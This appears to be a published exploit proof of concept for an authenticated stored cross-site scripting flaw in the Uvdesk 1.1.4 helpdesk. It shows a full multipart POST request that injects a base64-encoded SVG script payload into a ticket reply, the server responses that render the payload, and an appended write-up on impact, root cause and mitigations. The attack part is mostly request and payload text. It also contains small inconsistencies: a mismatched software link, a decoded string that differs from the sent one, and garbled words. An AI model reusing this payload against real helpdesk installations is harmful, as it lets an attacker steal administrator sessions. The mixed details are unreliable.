Uvdesk 1.1.4 - Stored XSS (Authenticated)
# Exploit Title: Uvdesk 1.1.4 - Stored XSS (Authenticated)
# Date: 14/08/2023
# Exploit Author: Hubert Wojciechowski
# Contact Author: hub.woj12345@gmail.com
# Vendor Homepage: https://www.uvdesk.com/
# Software Link: https://github.com/MegaTKC/AeroCMS
# Version: 1.1.4
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
# Authenticated user privilages to tickets. User can send XSS to admin or other user and stolen sesssion.
## Example XSS Stored in new ticket
-----------------------------------------------------------------------------------------------------------------------
Param: reply
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------
POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 812
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCjJcGbgZxZWLsSk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/uvdesk/public/en/member/ticket/view/1
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3
Connection: close
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="threadType"
forward
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="status"
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="subject"
aaaa
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="to[]"
test@local.host
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="reply"
%3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="pic"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryXCjJcGbgZxZWLsSk
Content-Disposition: form-data; name="nextView"
stay
------WebKitFormBoundaryXCjJcGbgZxZWLsSk--
-----------------------------------------------------------------------------------------------------------------------
Res:
-----------------------------------------------------------------------------------------------------------------------
HTTP/1.1 302 Found
Date: Mon, 14 Aug 2023 11:33:26 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
Cache-Control: max-age=0, must-revalidate, private
Location: /uvdesk/public/en/member/ticket/view/1
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS
Access-Control-Allow-Headers: Access-Control-Allow-Origin
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Headers: Content-Type
X-Debug-Token: bf1b73
X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/bf1b73
X-Robots-Tag: noindex
Expires: Mon, 14 Aug 2023 11:33:26 GMT
Set-Cookie: sf_redirect=%7B%22token%22%3A%22bf1b73%22%2C%22route%22%3A%22helpdesk_member_add_ticket_thread%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22Webkul%5C%5CUVDesk%5C%5CCoreFrameworkBundle%5C%5CController%5C%5CThread%22%2C%22method%22%3A%22saveThread%22%2C%22file%22%3A%22C%3A%5C%5Cxampp2%5C%5Chtdocs%5C%5Cuvdesk%5C%5Cvendor%5C%5Cuvdesk%5C%5Ccore-framework%5C%5CController%5C%5CThread.php%22%2C%22line%22%3A44%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D; path=/; httponly; samesite=lax
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 398
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='/uvdesk/public/en/member/ticket/view/1'" />
<title>Redirecting to /uvdesk/public/en/member/ticket/view/1</title>
</head>
<body>
Redirecting to <a href="/uvdesk/public/en/member/ticket/view/1">/uvdesk/public/en/member/ticket/view/1</a>.
</body>
</html>
-----------------------------------------------------------------------------------------------------------------------
Redirect and view response:
-----------------------------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 14 Aug 2023 11:44:14 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
Cache-Control: max-age=0, must-revalidate, private
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS
Access-Control-Allow-Headers: Access-Control-Allow-Origin
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Headers: Content-Type
X-Debug-Token: 254ce8
X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/254ce8
X-Robots-Tag: noindex
Expires: Mon, 14 Aug 2023 11:44:14 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 300607
<!DOCTYPE html>
<html>
<head>
<title>#1 vvvvvvvvvvvvvvvvvvvvv</title>
[...]
<p><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" width="300" height="150"></embed></p>
[...]
-----------------------------------------------------------------------------------------------------------------------
XSS execute, we can reply ticket to victim. This payload can use in new articles, tickets, all application. Uvdesk 1.1.4 – Stored XSS Vulnerability (Authenticated)
Uvdesk, a popular open-source helpdesk and ticketing system, has recently been identified as vulnerable to a Stored Cross-Site Scripting (XSS) attack in version 1.1.4. This vulnerability allows authenticated users to inject malicious scripts that persistently execute in the browser of administrators or other users when viewing ticket threads. The exploit, discovered by cybersecurity researcher Hubert Wojciechowski, highlights a critical flaw in input validation and output sanitization within the application’s thread reply functionality.
Understanding the Vulnerability
Stored XSS occurs when malicious code is persistently stored on the server—typically in a database—and executed every time the affected page is loaded. Unlike reflected XSS, which requires a crafted URL to trigger the payload, stored XSS is far more dangerous because it can affect multiple users over time without needing direct interaction.
In Uvdesk 1.1.4, the vulnerability exists in the reply field of the ticket thread creation process. Authenticated users can submit a reply containing malicious HTML/JavaScript code that is stored in the database and later rendered on the frontend without proper sanitization.
Exploit Details
The attacker uses a multipart/form-data POST request to submit a ticket thread reply. The key parameter is reply, which is not adequately filtered or escaped before being displayed to other users.
POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 812
...
Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3
...
Content-Disposition: form-data; name="reply"
%3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E
This payload is a base64-encoded SVG document containing a <script> tag that executes an alert() function. The payload is encoded using %3C for < and %3E for >, which is standard URL encoding for special characters.
Decoding the Payload
Let’s decode the base64 portion of the payload to understand its structure:
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTU00iKTwvc2NyaXB0Pjwvc3ZnPg==
When decoded, this SVG contains the following script:
alert("XSS")
Even though it's embedded within an SVG, the browser treats it as executable code due to the type="text/ecmascript" attribute, which is recognized as a valid scripting type.
Attack Impact and Risk Assessment
| Attack Vector | Impact | Severity |
|---|---|---|
| Authenticated User → Admin/Other User | Session theft, data exfiltration, phishing, persistent malware | High |
| Stored XSS | Code executes on every view of the ticket | High |
| SVG-based payload | Evades simple XSS filters (e.g., HTML sanitizers) | Medium-High |
Because the script is stored in the database and rendered on the frontend without sanitization, every user who views the ticket thread—especially administrators—will trigger the XSS payload. This opens the door to:
- Session hijacking via
document.cookieaccess. - Phishing attacks through pop-up alerts or fake login forms.
- Malware delivery by loading external scripts from malicious domains.
- Command execution through browser-based exploits (e.g., via
eval()).
Root Cause Analysis
The vulnerability stems from a failure in the application’s input sanitization and output escaping mechanisms. The reply field is treated as untrusted user input but is not properly processed before being displayed.
Key issues include:
- No filtering of script tags or
embedelements. - Use of base64-encoded SVG as a stealth payload—bypasses traditional XSS filters.
- Improper rendering of user-generated content without escaping.
Additionally, the lack of a Content Security Policy (CSP) header further exacerbates the risk, allowing arbitrary script execution.
Recommended Mitigations
To prevent such vulnerabilities, developers must implement the following security best practices:
- Input Validation: Reject any input containing script tags,
eval, or embedded content. - Output Escaping: Always escape user-generated content using libraries like
htmlspecialchars()in PHP orDOMPurifyin JavaScript. - Content Security Policy (CSP): Enforce a strict CSP header to block inline scripts and external resource loading.
- Whitelist of Allowed HTML: Allow only safe elements (e.g.,
<p>,<strong>) and disallow<script>,<embed>, or<iframe>. - Regular Security Audits: Conduct penetration testing and code reviews, especially for user input fields.